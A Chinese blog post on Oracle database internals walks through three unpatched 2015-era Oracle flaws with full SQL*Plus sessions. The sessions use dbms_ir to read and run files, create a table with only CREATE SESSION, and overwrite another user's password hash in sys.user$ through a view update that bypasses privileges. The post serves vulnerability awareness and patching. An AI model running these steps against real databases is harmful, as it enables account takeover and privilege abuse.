Oracle数据库安全问题最近几年变的格外关注, 除了数据泄露外还有一些数据库自身的问题,在没有安装最新PSU 或相关CPU时,如果被心存不鬼的人利用将会非常危险. 这里我简单记录三个问题, 测试环境为11.2.0.4 on solaris 11 OS(no patch any PSU or CPU).
1, 使用dbms_ir执行SQL 脚本
2, 只有create session 权限使用dbms_utility 创建表
3, 有select any dictionary的权限修改其它用户的密码
下面开始
使用dbms_ir执行SQL 脚本
影响的版本: 11.1.0.7, 11.2.0.3, 11.2.0.4, 12.1.0.1,12.1.0.2, 可以使用dbms_ir读写ORACLE_HOME外的文件,并且不需要DIRECTORY对象, 默认SYSDBA,DBA和SYSBACKUP有该对象的执行权限, 但是默认未授于PUBLIC.
Note:
使用dbms_ir读取了ORACLE_HOME外的文件并执行了一个文件中的SQL文本, 但并不是oracle 用户能read的文件使用dbms_ir都可以读.
只有create session 权限使用dbms_utility 创建表
Affected Version: 11.1.0.7, 11.2.0.3, 11.2.0.4, 12.1.0.1
NOTE:
通过dbms_utility在用户只有create session(connect role) 的权限下通过create_alter_type_error_table创建了表, 但是不可以创建到其它SCHEMA下.
有select any dictionary的权限修改其它用户的密码
这是一个很老的问题,很久前就讨论之前的通过VIEW在没有update权限时更新数据, 这里记录的是修改密码, 有了别人的密码是不是更危险, 有dict的权限是不是很危险? 这里继续使用上面新建的用户,目前之前CREATE SESSION.
Note:
在用户有select any table的权限时通过修改user$基表的方式实例了修改其它用户的密码, 使用view的方式的绕过了权限. 更新基表后flush shared_pool应用更新.
这里所描述的问题都是2015年的已知问题,当然如果没有更新PSU或CPU的话, 你可能测试你数据库中是否存在. 不要在生产库上测试.
1, 使用dbms_ir执行SQL 脚本
2, 只有create session 权限使用dbms_utility 创建表
3, 有select any dictionary的权限修改其它用户的密码
下面开始
使用dbms_ir执行SQL 脚本
影响的版本: 11.1.0.7, 11.2.0.3, 11.2.0.4, 12.1.0.1,12.1.0.2, 可以使用dbms_ir读写ORACLE_HOME外的文件,并且不需要DIRECTORY对象, 默认SYSDBA,DBA和SYSBACKUP有该对象的执行权限, 但是默认未授于PUBLIC.
oracle@anbob2:/home/oracle:11G> echo "hello, world" > hi.txt
oracle@anbob2:/home/oracle:11G> sqlplus / as sysdba
SQL*Plus: Release 11.2.0.3.0 Production on Tue Nov 29 10:46:30 2016
Copyright (c) 1982, 2011, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit Production
With the Partitioning, Real Application Clusters, OLAP, Data Mining
and Real Application Testing options
SQL> SET SERVEROUTPUT ON
DECLARE
fid NATURAL;
outbuf VARCHAR2 (4000);
BEGIN
dbms_ir.openScriptFile ('/home/oracle/hi.txt', fid);
DBMS_OUTPUT.put_line (fid);
dbms_ir.getFile (fid, outbuf);
DBMS_OUTPUT.put_line (outbuf);
dbms_ir.closeScriptFile (fid);
EXCEPTION
WHEN OTHERS
THEN
dbms_ir.closeScriptFile (fid);
END;
/
hello, world
PL/SQL procedure successfully completed.
-- 执行SQL脚本
DECLARE
fid NATURAL;
outbuf VARCHAR2 (4000);
BEGIN
dbms_ir.openScriptFile ('/etc/hosts', fid);
DBMS_OUTPUT.put_line (fid);
dbms_ir.getFile (fid, outbuf);
DBMS_OUTPUT.put_line (outbuf);
dbms_ir.closeScriptFile (fid);
EXCEPTION
WHEN OTHERS
THEN
dbms_ir.closeScriptFile (fid);
END;
/
ERROR at line 1:
ORA-51190: Internal error [closeScript], [fileID is NULL] from DBMS_IR
ORA-06512: at "SYS.DBMS_IR", line 1974
ORA-06512: at line 13
SQL> ho vi /home/oracle/scifmation/b.txt
create table t(id int)
SQL> begin
2 dbms_ir.execSQLScript(filename => '/home/oracle/scifmation/b.txt');
3 end;
4 /
PL/SQL procedure successfully completed.
--note: Table will be created!复制
Note:
使用dbms_ir读取了ORACLE_HOME外的文件并执行了一个文件中的SQL文本, 但并不是oracle 用户能read的文件使用dbms_ir都可以读.
只有create session 权限使用dbms_utility 创建表
Affected Version: 11.1.0.7, 11.2.0.3, 11.2.0.4, 12.1.0.1
sys@ORCL>create user u1 identified by u1;
User created.
sys@ORCL>grant create session to u1;
Grant succeeded.
sys@ORCL>conn u1/u1
Connected.
u1@ORCL>exec dbms_utility.create_alter_type_error_table('WEEJAR','ERROR_TAB');
BEGIN dbms_utility.create_alter_type_error_table('WEEJAR','ERROR_TAB'); END;
*
ERROR at line 1:
ORA-20000: You have insufficient privileges to create a table in WEEJAR
ORA-06512: at "SYS.DBMS_UTILITY", line 1226
ORA-06512: at line 1
u1@ORCL>exec dbms_utility.create_alter_type_error_table('U1','ERROR_TAB');
PL/SQL procedure successfully completed.
u1@ORCL>desc ERROR_TAB
Name Null? Type
------------------------------ -------- -----------------------------------------
OWNER VARCHAR2(30)
OBJECT_NAME VARCHAR2(30)
SEQUENCE# NUMBER
TEXT_LENGTH NUMBER
ERROR_TEXT VARCHAR2(4000)
u1@ORCL>select * from ERROR_TAB;
no rows selected
u1@ORCL>select * from tab;
TNAME TABTYPE CLUSTERID
------------------------------ ------- --------------------
ERROR_TAB TABLE
u1@ORCL>select * from cat;
TABLE_NAME TABLE_TYPE
------------------------------ -----------
ERROR_TAB TABLE复制
NOTE:
通过dbms_utility在用户只有create session(connect role) 的权限下通过create_alter_type_error_table创建了表, 但是不可以创建到其它SCHEMA下.
有select any dictionary的权限修改其它用户的密码
这是一个很老的问题,很久前就讨论之前的通过VIEW在没有update权限时更新数据, 这里记录的是修改密码, 有了别人的密码是不是更危险, 有dict的权限是不是很危险? 这里继续使用上面新建的用户,目前之前CREATE SESSION.
sys@ORCL>grant select any dictionary to u1;
Grant succeeded.
sys@ORCL>conn u1/u1
Connected.
u1@ORCL>select password from sys.user$ where name='WEEJAR';
PASSWORD
------------------------------
5DDFDC62FB8BEE40
u1@ORCL>select password from sys.user$ where name='ANBOB';
PASSWORD
------------------------------
ACF67A552551E848
u1@ORCL>update sys.user$ set password='ACF67A552551E848' where name='WEEJAR';
update sys.user$ set password='ACF67A552551E848' where name='WEEJAR'
*
ERROR at line 1:
ORA-01031: insufficient privileges
sys@ORCL>alter user weejar identified by weejar;
User altered.
sys@ORCL>select password from sys.user$ where name='WEEJAR';
PASSWORD
------------------------------
40EC5D9F82E3BBF7
NOTE:
Old Oracle hashes stored in user$.password
sys@ORCL>conn weejar/weejar;
Connected.
weejar@ORCL>conn u1/u1
Connected.
u1@ORCL>update (with tmp as (select * from sys.user$) select * from tmp) set password='ACF67A552551E848' where name='WEEJAR';
1 row updated.
u1@ORCL>commit;
Commit complete.
u1@ORCL>conn weejar/weejar;
Connected.
weejar@ORCL>conn / as sysdba
Connected.
sys@ORCL>alter system flush shared_pool;
System altered.
weejar@ORCL>conn / as sysdba
Connected.
sys@ORCL>select password from sys.user$ where name='WEEJAR';
PASSWORD
------------------------------
ACF67A552551E848
sys@ORCL>select SPARE4 from sys.user$ where name='ANBOB';
SPARE4
--------------------
S:D580FA974CA85BBF041693C031F6EB6BA2702CEA8CEC0A0DF227944FA2A3
sys@ORCL>select SPARE4 from sys.user$ where name='WEEJAR';
SPARE4
---------------------------------------------------------------
S:8E9D66E52F574F6AA82AB6EDAFE9C69E3B82FC9A6E17F8CB9F90A7153652
Note:
Oracle 11g hashes stored in user$.spare4 (S:xxx)
sys@ORCL>update (with tmp as (select * from sys.user$) select * from tmp) set password='ACF67A552551E848',SPARE4='S:D580FA974CA85BBF041693C031F6EB6BA2702CEA8CEC0A0DF227944FA2A3' where name='WEEJAR';
1 row updated.
sys@ORCL>COMMIT;
Commit complete.
sys@ORCL>conn weejar/weejar;
Connected.
weejar@ORCL>conn / as sysdba
Connected.
sys@ORCL>alter system flush shared_pool;
System altered.
sys@ORCL>conn weejar/weejar;
ERROR:
ORA-01017: invalid username/password; logon denied
Warning: You are no longer connected to ORACLE.
sys@ORCL>conn weejar/anbob;
Connected.复制
Note:
在用户有select any table的权限时通过修改user$基表的方式实例了修改其它用户的密码, 使用view的方式的绕过了权限. 更新基表后flush shared_pool应用更新.
这里所描述的问题都是2015年的已知问题,当然如果没有更新PSU或CPU的话, 你可能测试你数据库中是否存在. 不要在生产库上测试.
「喜欢这篇文章,您的关注和赞赏是给作者最好的鼓励」
关注作者
【版权声明】本文为墨天轮用户原创内容,转载时必须标注文章的来源(墨天轮),文章链接,文章作者等基本信息,否则作者和墨天轮有权追究责任。如果您发现墨天轮中有涉嫌抄袭或者侵权的内容,欢迎发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。
评论
相关阅读
Oracle DataGuard高可用性解决方案详解
孙莹
575次阅读
2025-03-26 23:27:33
Oracle RAC 一键安装翻车?手把手教你如何排错!
Lucifer三思而后行
533次阅读
2025-04-15 17:24:06
【纯干货】Oracle 19C RU 19.27 发布,如何快速升级和安装?
Lucifer三思而后行
438次阅读
2025-04-18 14:18:38
XTTS跨版本迁移升级方案(11g to 19c RAC for Linux)
zwtian
430次阅读
2025-04-08 09:12:48
墨天轮个人数说知识点合集
JiekeXu
428次阅读
2025-04-01 15:56:03
Oracle SQL 执行计划分析与优化指南
Digital Observer
428次阅读
2025-04-01 11:08:44
【ORACLE】记录一些ORACLE的merge into语句的BUG
DarkAthena
427次阅读
2025-04-22 00:20:37
【ORACLE】你以为的真的是你以为的么?--ORA-38104: Columns referenced in the ON Clause cannot be updated
DarkAthena
405次阅读
2025-04-22 00:13:51
Oracle数据库一键巡检并生成HTML结果,免费脚本速来下载!
陈举超
393次阅读
2025-04-20 10:07:02
Oracle 19c RAC更换IP实战,运维必看!
szrsu
366次阅读
2025-04-08 23:57:08
热门文章
移除DataGuard Standby配置导致Primary启动失败
2023-08-17 21293浏览
使用dblink产生的”SELECT /*+ FULL(P) +*/ * FROM XXXXX P ” 解析
2023-06-20 20892浏览
Troubleshooting 'ORA-28041: Authentication protocol internal error' change password 12c R2 DB
2020-04-08 13641浏览
浅谈ORACLE免费数据库Oracle Database XE (Express Edition) 版
2018-10-31 7589浏览
High wait event ‘row cache mutex’ in 12cR2、19c
2020-08-14 5569浏览